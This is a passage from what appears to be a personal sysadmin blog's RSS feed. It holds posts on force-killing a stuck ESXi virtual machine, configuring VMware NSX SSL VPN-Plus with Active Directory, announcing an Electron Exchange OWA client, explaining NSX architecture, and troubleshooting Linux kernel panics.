&lt;li&gt;From the above command&amp;rsquo;s output, I was able to retrieve the &lt;code&gt;World ID&lt;/code&gt; of &lt;code&gt;TheVM&lt;/code&gt; - &lt;strong&gt;1234&lt;/strong&gt;. I needed that ID to kill processes responsible for running &lt;code&gt;theVM&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@esxi01.ssh.lab&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ esxcli vm process kill -t hard -w &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;At this stage, &lt;code&gt;theVM&lt;/code&gt; was &amp;ldquo;dead&amp;rdquo; and - just like dead humans - it stopped resisting. I was able to remove it from the inventory and fix it up.&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>How to: NSX SSL VPN Plus</title>
      <link>/posts/200401-nsx-ssl-vpn-plus/</link>
      <pubDate>Wed, 01 Apr 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200401-nsx-ssl-vpn-plus/</guid>
      <description>Setting up VPN made simple through VMware NSX! If you ever had to deal with setting up a proper VPN environment using regular tools (OpenVPN Server, Fortigate, SonicWALL etc.), you are going to love it how simple it is (yet secure!) to manage your virtual private network(s) using the networking powerhouse (swiss-knife?) VMware NSX.
1. What is VMware NSX SSL VPN-Plus? VMware NSX SSL VPN-Plus enables individual remote users to connect securely to private networks behind an NSX Edge gateway.</description>
      <content>&lt;p&gt;Setting up VPN made simple through VMware NSX! If you ever had to deal with setting up a proper VPN environment using regular tools (OpenVPN Server, Fortigate, SonicWALL etc.), you are going to love it how simple it is (yet secure!) to manage your virtual private network(s) using the networking powerhouse (swiss-knife?) VMware NSX.&lt;/p&gt;
&lt;h2 id=&#34;1-what-is-vmware-nsx-ssl-vpn-plus&#34;&gt;1. What is VMware NSX SSL VPN-Plus?&lt;/h2&gt;
&lt;p&gt;VMware NSX SSL VPN-Plus enables individual remote users to connect securely to private networks behind an NSX Edge gateway. The SSL encrypted tunnel is established between the client (user) and the server (NSX Edge). It is also possible to use the SSL VPN-Plus to setup a site-to-site (server-to-server) SSL VPN tunnel, but we won’t be going through that process in this post.&lt;/p&gt;
&lt;p&gt;SSL VPN Plus have two modes available: web &amp;amp; full network access:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web Access Mode – enables the user to connect to the network without a hardware or software SSL client&lt;/li&gt;
&lt;li&gt;Full Network Access Mode – requires the user to have a SSL client installed on their machine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/pubs.vmware.com/NSX-6/topic/com.vmware.nsx.admin.doc/GUID-9140D03B-04C7-4A55-BE64-77F65DF84F18-high.png?w=678&amp;amp;ssl=1&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;In this tutorial, we’re going to configure a VPN for the users – connecting through a “Remote LAN” – which is going to grant them an access to the “Office Server”:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200401-nsx-ssl-vpn-plus/Screenshot-from-2018-06-28-12-06-17-1024x566.png&#34; alt=&#34;Screenshot-from-2018-06-28-12-06-17-1024x566&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;2-configuring-ssl-vpn-plus-server&#34;&gt;2. Configuring SSL VPN-Plus Server&lt;/h2&gt;
&lt;p&gt;Firstly, we need to log into the NSX Edge ESG and open the SSL VPN-Plus server settings page. To do so, navigate to &lt;code&gt;Manage&lt;/code&gt; tab, open up &lt;code&gt;SSL VPN-Plus&lt;/code&gt; sub-tab, select &lt;code&gt;Server Settings&lt;/code&gt; and finally click &lt;code&gt;Change&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200401-nsx-ssl-vpn-plus/nsx1.png&#34; alt=&#34;nsx1&#34;&gt;&lt;/p&gt;
&lt;p&gt;In there, you can check the current IPv4/6 listener, port, certificates and cipher (change it to &lt;code&gt;AES256-SHA&lt;/code&gt; if it’s not it already!). Note down all of these, as we’re going to need them for the next steps.&lt;/p&gt;
&lt;h2 id=&#34;3-create-an-ip-pool&#34;&gt;3. Create an IP Pool&lt;/h2&gt;
&lt;p&gt;As with all other VPN solutions, NSX SSL VPN-Plus, requires as IP pool for the private network which it is going to manage. This pool will be released to the VPN clients once they succesfully authenticate and establish a connection to the network. This works just like a regular DHCP and can be skipped partially if you’d like your clients to use static addresses instead of random DHCP leases.&lt;/p&gt;
&lt;p&gt;The network to which these IP address belong, should be different from any existing subnet in your NSX environment and should not be configured on any other devices on the physical or virtual networks with the exception of routes that point to it. Similarly to the other VPN solutions, you can (but don’t have to) configure routing between the already existing virtual/physical networks in your environment and the VPN network. If you don’t configure routing between the networks, the clients won’t be able to access anything on the VPN server site unless explicitly allowed through static routes. Not creating any routing between your networks can be useful if the VPN is only supposed to be a “security layer” for the remote users.&lt;/p&gt;
&lt;p&gt;To configure the IP pool, open up the “IP Pool” sub-section of the “SSL VPN-Plus” settings page. Click the green plus icon to create a new pool. Fill in all the settings according to your environment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IP Range&lt;/code&gt; – the range of IP addresses to be shared between the VPN clients; in my example this is going to be: &lt;code&gt;172.18.0.100-172.18.0.199&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Netmask&lt;/code&gt; – the network mask to be pushed out to the VPN clients;
in my example this is going to be: &lt;code&gt;255.255.255.0&lt;/code&gt; (or &lt;code&gt;/24&lt;/code&gt; if you wish)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Gateway&lt;/code&gt; – this should be same as the gateway configured on your system;
in my example this is going to be: &lt;code&gt;10.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Status&lt;/code&gt; – &lt;code&gt;enabled&lt;/code&gt; (obviously…)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Primary/Secondary DNS&lt;/code&gt; – not required; if you want the VPN clients to use a DNS resolver, put its IP address in here;
in my example this is going to be: &lt;code&gt;10.0.0.51&lt;/code&gt; and &lt;code&gt;10.0.0.52&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DNS Suffix&lt;/code&gt; – aka “Search Domain” for the Linuxheads; this setting specifies the default domain for the VPN users;
in my example this is going to be: &lt;code&gt;wilks.lab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WINS Server&lt;/code&gt; – nobody uses WINS anymore… get out of here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;4-sharing-out-private-networks&#34;&gt;4. Sharing out Private Networks&lt;/h2&gt;
&lt;p&gt;In this section, you can configure the routes which are going to be pushed out to the VPN clients. This essentially removed the need to configure all the necessary routes on your routers/gateways as the clients “will know” on their own where to go. Obviously, even after configuring these routes, you’d still need to configure reverse routes on the gateways if you’d like your servers/”office LAN” hosts to be able to initiate communication with VPN users.&lt;/p&gt;
&lt;p&gt;The “Private Networks” section can be found in the “SSL VPN-Plus” sub-tab. Click the green plus icon to add a private network to the configuration.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Network&lt;/code&gt; – the IP address of the network you’d like the VPN users to have access to;
in my example this is going to be: &lt;code&gt;10.0.0.0/24&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can leave all the other settings with the default values for basic access configuration. I might come back to this in a latter post to explain the other details/options further.&lt;/p&gt;
&lt;h2 id=&#34;5-configure-authentication&#34;&gt;5. Configure Authentication&lt;/h2&gt;
&lt;p&gt;In this tutorial, we’re going to base our authentication on Active Directory, as this is the authentication system which I have in my lab at the time of the writing. Configuring the VPN using other authentication providers is pretty similar. Just for the reference: my AD OU (organization unit) is &lt;!-- raw HTML omitted --&gt;&lt;strong&gt;SWZLAB&lt;/strong&gt;&lt;!-- raw HTML omitted --&gt;, while the domain name is &lt;strong&gt;&lt;!-- raw HTML omitted --&gt;wilks&lt;!-- raw HTML omitted --&gt;.&lt;!-- raw HTML omitted --&gt;lab&lt;!-- raw HTML omitted --&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To configure authentication, open up the “Authentication” part of the “SSL VPN-Plus” section in the “Manage” tab. As you can see, we need to fill in quite usual LDAP details in here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IP Address&lt;/code&gt; – the address of the domain controller;
in my example: &lt;code&gt;10.0.0.50&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Port&lt;/code&gt; – &lt;code&gt;389&lt;/code&gt; (default; adjust according to your AD setup)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Timeout&lt;/code&gt; – &lt;code&gt;10&lt;/code&gt; (default; no need to change this really)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Search Base&lt;/code&gt; – this is basically the distinguished name (or OU DN);
in my example this is going to be:  &lt;strong&gt;OU=&lt;!-- raw HTML omitted --&gt;SWZLAB&lt;!-- raw HTML omitted --&gt;,DC=&lt;!-- raw HTML omitted --&gt;wilks&lt;!-- raw HTML omitted --&gt;,DC=&lt;!-- raw HTML omitted --&gt;lab&lt;!-- raw HTML omitted --&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bind DN&lt;/code&gt; – this field is for the username of domain user which NSX is going to use to log into the AD (should have DC admin privileges);
in my example this is going to be: &lt;strong&gt;CN=&lt;!-- raw HTML omitted --&gt;admin&lt;!-- raw HTML omitted --&gt;,OU=&lt;!-- raw HTML omitted --&gt;SWZLAB&lt;!-- raw HTML omitted --&gt;,DC=&lt;!-- raw HTML omitted --&gt;wilks&lt;!-- raw HTML omitted --&gt;,DC=&lt;!-- raw HTML omitted --&gt;lab&lt;!-- raw HTML omitted --&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bind password&lt;/code&gt; – password for the user mentioned above (wilks.lab**&lt;!-- raw HTML omitted --&gt;admin&lt;!-- raw HTML omitted --&gt;**)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Login Attribute Name&lt;/code&gt; – &lt;code&gt;sAMAccountName&lt;/code&gt;; this forces the system to use the legacy account names from AD (reverse compatibility requirement)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Search Filter&lt;/code&gt; – these filters can be used to restrict the numbers of users or groups that are permitted to access the VPN; setting this to &lt;code&gt;objectClass=*&lt;/code&gt; will allow everyone to connect&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;6-enabling-the-ssl-vpn-plus&#34;&gt;6. Enabling the SSL VPN-Plus&lt;/h2&gt;
&lt;p&gt;Having all that done, we can finally enable the SSL VPN-Plus service from the Dashboard. Yay!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200401-nsx-ssl-vpn-plus/enableSSLVpnPlus-768x170-1.png&#34; alt=&#34;enableSSLVpnPlus-768x170-1&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;7-client-configuration&#34;&gt;7. Client configuration&lt;/h3&gt;
&lt;p&gt;To configure some basic properties of the installation package for the Full Network Access Mode users, navigate to the “Installation Package” sub-section. Click the green plus icon to configure your client package.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Profile Name&lt;/code&gt; – this will be the name of the package visible on the web portal; choose something explaining what it does (if you plan to implement multiple packages for multiple sub-sites etc.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OS Selection&lt;/code&gt; – choose the operating systems for which the package should be prepared (Windows/OS X/Linux)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Windows Parameters&lt;/code&gt; – pretty self-explanatory; here you can choose additional settings which are going to be applied to Windows clients (silent install mode, no icon in system tray etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before moving on, remember to click the green plus icon on the package configuration pop-up and then add a gateway and port – this configures where the installation package will be available for download (in other words: your public IP and a HTTPS (443) port).&lt;/p&gt;
&lt;h3 id=&#34;8-accessing-the-vpn&#34;&gt;8. Accessing the VPN&lt;/h3&gt;
&lt;p&gt;From this point onwards (provided you open up the port 443 &amp;amp; others on the gateway, forward them to the and so on and so on…), the remote users should be able to access the NSX SSL VPN-Plus portal by navigating to the public IP address/hostname of your infrastructure.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200401-nsx-ssl-vpn-plus/Screenshot-from-2018-06-28-13-58-37.png&#34; alt=&#34;Screenshot-from-2018-06-28-13-58-37&#34;&gt;&lt;/p&gt;
&lt;p&gt;After successfully logging in, a download link to the Full Access Mode client should be available under &lt;code&gt;Full Access/Full Access/List&lt;/code&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Announcing the Vision Client</title>
      <link>/posts/200301-vision-client/</link>
      <pubDate>Sun, 01 Mar 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200301-vision-client/</guid>
      <description>I&amp;rsquo;ve always dreamed of creating something new - something which would be useful to the community and something I could proudly host on GitHub. Today comes that day - today, I&amp;rsquo;m releasing my first ever application - the Vision Client.
What is it? Vision Client - at it&amp;rsquo;s core - is a desktop client for Microsoft Exchange emails. I&amp;rsquo;ve created it as I was starting to get pretty annoyed with a policy on one of the Exchange servers I&amp;rsquo;m regularly using.</description>
      <content>&lt;p&gt;I&amp;rsquo;ve always dreamed of creating something new - something which would be useful to the community and something I could proudly host on GitHub. Today comes that day - today, I&amp;rsquo;m releasing my first ever application - the &lt;a href=&#34;https://github.com/SSHGuru/vision-client&#34;&gt;Vision Client&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;what-is-it&#34;&gt;What is it?&lt;/h1&gt;
&lt;p&gt;Vision Client - at it&amp;rsquo;s core - is a desktop client for Microsoft Exchange emails. I&amp;rsquo;ve created it as I was starting to get pretty annoyed with a policy on one of the Exchange servers I&amp;rsquo;m regularly using. That server basically prohibited the use of anything else than ActiveSync (mobile clients) and Exchange OWA.&lt;/p&gt;
&lt;p&gt;Anybody who ever had to use an OWA should know how big of a pain it sometimes is. The web version of Outlook - especially pre-2013 - is a slow, out-dated and straight-out ugly email client with no support for things which are most loved about regular Outlook or other email clients.&lt;/p&gt;
&lt;p&gt;Vision Client is also an alternative for all the Linux users out there tired of setting up Wine to use regular Outlook or purchasing programs such as Hiri. Vision Client enables you to use your Exchange-based emails on your desktop without any heavy modifications to your system, bypassing any security rules or setting up complex solutions such as Wine or DavMail.&lt;/p&gt;
&lt;h1 id=&#34;how-does-it-work&#34;&gt;How does it work?&lt;/h1&gt;
&lt;p&gt;Vision Client is an Electron App, which means it is compatibile with nearly all operating systems out there. It might not be the most resource-optimized app (JavaScript and Node.js are known to slow down some older machines), but at the same time you can be certain that if you are able to access OWA on your machine, you will albe to use the Vision Client as well.&lt;/p&gt;
&lt;p&gt;The basic structure of my application is simple - it is essentially a heavly stripped down browser window on steroids. Once you first launch the Vision Client and go through the setup window, your email credentials will be saved to your local password manager, which makes the use of your email faster (less password typing), yet more secure at the same time (by preventing keyloggers from reading your keyboard output).&lt;/p&gt;
&lt;h1 id=&#34;download&#34;&gt;Download&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/SSHGuru/vision-client/raw/master/dist/windows/vision.exe&#34;&gt;Vision Client for Windows&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/SSHGuru/vision-client/tree/master/dist/linux&#34;&gt;Vision Client for Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/SSHGuru/vision-client&#34;&gt;Vision Client for macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/SSHGuru/vision-client&#34;&gt;Vision Client for other OS&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>What is VMware NSX?</title>
      <link>/posts/200201-what-is-nsx/</link>
      <pubDate>Sat, 01 Feb 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200201-what-is-nsx/</guid>
      <description>VMware NSX, formerly known as Nicira NVP (Network Virtualization Platform) is essentialy what we’ve been doing to servers for years: abstracting the physical layer from the logical one - or in other words - virtualizing the network in such a way that all you end up with is software running on the top of hypervisors which can be dynamically configured and updated.
The most important features of NSX are:
Logical L2 switching - extending the traditional L2 layer Distributed routing - routing between subnets without traffic going out (north) to the physical network Distributed firewall - enforcing security rules at either the kernel or vNIC level Logical load balancing - supporting L4 through L7 load SSL termination SSL VPN services - creating L2 virtual private network NSX Structure VMware NSX is built upon three different planes (pictured below), each having little to no effect on the functions of the planes below it.</description>
      <content>&lt;p&gt;VMware NSX, formerly known as Nicira NVP (Network Virtualization Platform) is essentialy what we’ve been doing to servers for years: abstracting the physical layer from the logical one - or in other words - virtualizing the network in such a way that all you end up with is software running on the top of hypervisors which can be dynamically configured and updated.&lt;/p&gt;
&lt;p&gt;The most important features of NSX are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logical L2 switching - extending the traditional L2 layer&lt;/li&gt;
&lt;li&gt;Distributed routing - routing between subnets without traffic going out (north) to the physical network&lt;/li&gt;
&lt;li&gt;Distributed firewall - enforcing security rules at either the kernel or vNIC level&lt;/li&gt;
&lt;li&gt;Logical load balancing - supporting L4 through L7 load SSL termination&lt;/li&gt;
&lt;li&gt;SSL VPN services - creating L2 virtual private network&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;nsx-structure&#34;&gt;NSX Structure&lt;/h1&gt;
&lt;p&gt;VMware NSX is built upon three different planes (pictured below), each having little to no effect on the functions of the planes below it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200201-what-is-nsx/nsx1-2.png&#34; alt=&#34;nsx1-2&#34;&gt;&lt;/p&gt;
&lt;p&gt;We are going to go through each and every layer one by one starting with&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;data-pane&#34;&gt;Data Pane&lt;/h1&gt;
&lt;p&gt;A classic distributed switch (vDS) works solely at L2 and virtual machines need to be on the same L2 subnet to communicate with each other. NSX provides new functionalities by installing three VIBs modules at the kernel level so that they hypervisor is capable of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VXLAN encapsulation&lt;/li&gt;
&lt;li&gt;Distributed logical routing&lt;/li&gt;
&lt;li&gt;Distributed logical firewalling&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After these three VIBs are added to the distributed switch it is then referred as a &lt;code&gt;VMware NSX Virtual Switch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The L2 boundary mentioned above is no longer a problem, as NSX leverages VXLAN encapsulation.&lt;/p&gt;
&lt;h1 id=&#34;control-plane&#34;&gt;Control Plane&lt;/h1&gt;
&lt;p&gt;This plane manages logical networks and runtime states and is controlling the data path where I/O actually happens.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NSX Controller - the central control point for all logical switches within a network and maintains information MAC, ARP and VTEP tables.&lt;/li&gt;
&lt;li&gt;Logical Router Control VM - virtual machine that is instantiated to handle routing tables information and pass it to the NSX Manager (Remember the Linux Router from &lt;a href=&#34;https://ssh.guru/setting-up-a-simple-linux-vm-for-internal-routing-within-virtual-environment/&#34;&gt;2017&lt;/a&gt;? This one is quite similar)&lt;/li&gt;
&lt;li&gt;UWA (User World Agent) - ntcapd and vsfwd daemons running on the ESXi host responsibile for proxying the communication between NSX Manager and NSX Controller&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200201-what-is-nsx/nsx2-1.png&#34; alt=&#34;nsx2-1&#34;&gt;&lt;/p&gt;
&lt;p&gt;NSX Controllers are deployed from NSX Manager as VMs (either 3, 5, 7 or more; the number of them is always odd). This is because the algorithm behind the scenes is &lt;a href=&#34;https://zookeeper.apache.org/&#34;&gt;Apache ZooKeeper&lt;/a&gt; - a distributed coordination service for distributed systems - and it requires an odd number for avoid a &lt;a href=&#34;https://www.elastic.co/blog/found-zookeeper-king-of-coordination&#34;&gt;&amp;ldquo;split brain&amp;rdquo;&lt;/a&gt; scenario.&lt;/p&gt;
&lt;p&gt;The NSX controllers have can act as one of the following 5 managers (servers):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logical Manager - computing policies and network topologies&lt;/li&gt;
&lt;li&gt;Switch Manager - pushing settings to ESXi hosts&lt;/li&gt;
&lt;li&gt;Directory Server - managing VXLAN and DLR databases (Distributed Logical Routing)&lt;/li&gt;
&lt;li&gt;API Provider - providing web-services API consumed by NSX Manager&lt;/li&gt;
&lt;li&gt;Persistence Server - supervising data preservation across nodes for critical data&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;management-plane&#34;&gt;Management Plane&lt;/h1&gt;
&lt;p&gt;NSX Manager communicates with a vCenter Server system and is responsible for all the APIs required for 3rd party integrations. The NSX Manager is installed as a virtual appliance on any ESX host in the vCenter environment.&lt;/p&gt;
&lt;h1 id=&#34;consumption-plane&#34;&gt;Consumption Plane&lt;/h1&gt;
&lt;p&gt;The consumption of NSX can be driven directly through the NSX Manager UI, which is the Web Client, however NSX provides rich integration into virtually any CMP (Cloud Management Platform) through REST APIs.&lt;/p&gt;
&lt;p&gt;Out-of-the-box integration is also available through vRA (vvRealize Automation), vCD (vCloud Director) and OpenStack with the Neutron plug-in for NSX.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Troubleshooting Kernel Panic</title>
      <link>/posts/200101-troubleshooting-kernel-panic/</link>
      <pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200101-troubleshooting-kernel-panic/</guid>
      <description>Kernel panic on Linux is hard to identify and troubleshoot. Finding a root cause of a kernel panic often requires reproducing a situation that occurs rarely and collecting data that is difficult to gather. As the name implies, the Linux kernel gets into a situation where it doesn’t know what to do next. When this happens, the kernel gives as much information as it can about what caused the problem, depending on what caused the panic.</description>
      <content>&lt;p&gt;Kernel panic on Linux is hard to identify and troubleshoot. Finding a root cause of a kernel panic often requires reproducing a situation that occurs rarely and collecting data that is difficult to gather. As the name implies, the Linux kernel gets into a situation where it doesn’t know what to do next. When this happens, the kernel gives as much information as it can about what caused the problem, depending on what caused the panic.&lt;/p&gt;
&lt;h1 id=&#34;1-overview-of-kernel-panic&#34;&gt;1. Overview of Kernel Panic&lt;/h1&gt;
&lt;p&gt;There are two kinds of kernel panics:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hard Panic (also known as &lt;code&gt;Aieee!&lt;/code&gt;) – mostly hardware related&lt;/li&gt;
&lt;li&gt;Soft Panic (also known as &lt;code&gt;Oops…&lt;/code&gt;) – mostly software related&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200101-troubleshooting-kernel-panic/kernel-1024x808-1.png&#34; alt=&#34;kernel-1024x808-1&#34;&gt;&lt;/p&gt;
&lt;p&gt;Most panics are the result of unhandled processor exceptions in kernel code, such as references to invalid memory addresses and can also be caused by one or more of the following issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Defective or incompatible RAM (damaged RAM memory unit, dirty/disconnecting RAM unit, faulty RAM controller etc.)&lt;/li&gt;
&lt;li&gt;Incompatible, obsolete, or corrupted kernel extensions. If a kernel extension or one of its dependencies is corrupted, such as the result of hard disk corruption, kernel panics are likely to occur when the kernel attempts to load or execute the extension (this means OS corruption 90% of the time)&lt;/li&gt;
&lt;li&gt;Incompatible, obsolete, or corrupted drivers. Similar to kernel extensions, drivers for third-party hardware which are incompatible with the OS version you are using, or which have become corrupted, will cause in kernel panics (driver re-installation or upgrade needed)&lt;/li&gt;
&lt;li&gt;Hard disk corruption, including bad sectors, directory corruption, and other hard-disk ills (easily the most common cause of panics)&lt;/li&gt;
&lt;li&gt;Incorrect permissions on System-related files or folders (no root access to &lt;code&gt;/root&lt;/code&gt; or &lt;code&gt;/var&lt;/code&gt; etc.)&lt;/li&gt;
&lt;li&gt;Insufficient RAM and available hard disk space (VM over provisioning, thin disk over growth etc.)&lt;/li&gt;
&lt;li&gt;Improperly installed hardware or software (faulty add-ons or packets, not fully plugged in extension cards etc.)&lt;/li&gt;
&lt;li&gt;Defective hardware or software. Hardware failures, including a defective CPU, or programming errors can result in kernel panics&lt;/li&gt;
&lt;li&gt;Incompatible hardware (more RAM than CPU can handle, voltage hardware needs higher than PU capabilities etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Only modules that are located within kernel space can directly cause the kernel to panic. To see what modules are dynamically loaded, do lsmod – this shows all dynamically loaded modules (Dialogic drivers, LiS, SCSI driver, filesystem, etc.). In addition to these dynamically loaded modules, components that are built into the kernel (memory map, etc.) can cause a panic.&lt;/p&gt;
&lt;p&gt;Since hard panics and soft panics are different in nature, we will discuss how to deal with each separately.&lt;/p&gt;
&lt;h1 id=&#34;2-troubleshooting-hard-kernel-panic&#34;&gt;2. Troubleshooting Hard Kernel Panic&lt;/h1&gt;
&lt;h2 id=&#34;21-symptoms-of-a-hard-kernel-panic&#34;&gt;2.1 Symptoms of a hard kernel panic&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Machine is completely locked up and unusable&lt;/li&gt;
&lt;li&gt;Num Lock / Caps Lock / Scroll Lock keys usually blink&lt;/li&gt;
&lt;li&gt;If in console mode, dump is displayed on monitor (including the phrase &lt;code&gt;Aieee!&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Similar to Windows Blue Screen&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;22-hard-kernel-panic-signature-causes&#34;&gt;2.2 Hard kernel panic signature causes&lt;/h2&gt;
&lt;p&gt;The most common cause of a hard kernel panic is when a driver crashes within an interrupt handler, usually because it tried to access a null pointer within the interrupt handler. When this happens, that driver cannot handle any new interrupts and eventually the system crashes. This is not exclusive to Dialogic drivers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200101-troubleshooting-kernel-panic/Screenshot-from-2018-06-22-16-26-36-768x44.png&#34; alt=&#34;Screenshot-from-2018-06-22-16-26-36-768x44&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;23-hard-kernel-panic--information-to-collect&#34;&gt;2.3 Hard kernel panic – information to collect&lt;/h2&gt;
&lt;p&gt;Depending on the nature of the panic, the kernel will log all information it can prior to locking up. Since a kernel panic is a drastic failure, it is uncertain how much information will be logged. Below are key pieces of information to collect. It is important to collect as many of these as possible, but there is no guarantee that all of them will be available, especially the first time a panic is seen.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/log/messages&lt;/code&gt; — sometimes the entire kernel panic stack trace will be logged there&lt;/li&gt;
&lt;li&gt;Application / Library logs (RTF, cheetah, etc.) – may show what was happening before the panic&lt;/li&gt;
&lt;li&gt;Other information about what happened just prior to the panic, or how to reproduce&lt;/li&gt;
&lt;li&gt;Screen dump from console. Since the OS is locked, you cannot cut and paste from the screen. There are two common ways to get this info: - Digital Picture of screen (preferred, since it’s quicker and easier); even a quick picture from a smartphone will do&lt;/li&gt;
&lt;li&gt;Copying screen with pen and paper or typing to another computer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the dump is not available either in &lt;code&gt;/var/log/message&lt;/code&gt; or on the screen, follow these tips to get a dump:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If in GUI mode, switch to full console mode – no dump info is passed to the GUI (not even to GUI shell).&lt;/li&gt;
&lt;li&gt;Make sure screen stays on during full test run – if a screen saver kicks in, the screen won’t return after a kernel panic. Use these settings to ensure the screen stays on.&lt;br&gt;
&lt;code&gt;setterm -blank 0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;setterm -powerdown 0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;setvesablank off&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;From console, copy dump from screen (see above).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;24-hard-kernel-panic--troubleshooting-with-a-full-trace&#34;&gt;2.4 Hard kernel panic – Troubleshooting with a full trace&lt;/h2&gt;
&lt;p&gt;The stack trace is the most important piece of information to use in troubleshooting a kernel panic. It is often crucial to have a full stack trace, something that may not be available if only a screen dump is provided – the top of the stack may scroll off the screen, leaving only a partial stack trace. If a full trace is available, it is usually sufficient to isolate root cause. To identify whether or not you have a large enough stack trace, look for a line with &lt;code&gt;EIP&lt;/code&gt;, which will show what function call and module caused the panic. In the example below, this is shown in the following line:&lt;br&gt;
&lt;code&gt;EIP is at _dlgn_setevmask [streams-dlgnDriver] 0xe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If the culprit is a Dialogic driver you will see a module name with:&lt;br&gt;
&lt;code&gt;streams-xxxxDriver&lt;/code&gt;&lt;br&gt;
where &lt;code&gt;xxxx&lt;/code&gt; is either &lt;code&gt;dlgn&lt;/code&gt;, &lt;code&gt;dvbm&lt;/code&gt;, &lt;code&gt;mercd&lt;/code&gt; or similar.&lt;/p&gt;
&lt;p&gt;Full trace example:&lt;br&gt;
&lt;code&gt;Unable to handle kernel NULL pointer dereference at virtual address 0000000c&lt;/code&gt;&lt;br&gt;
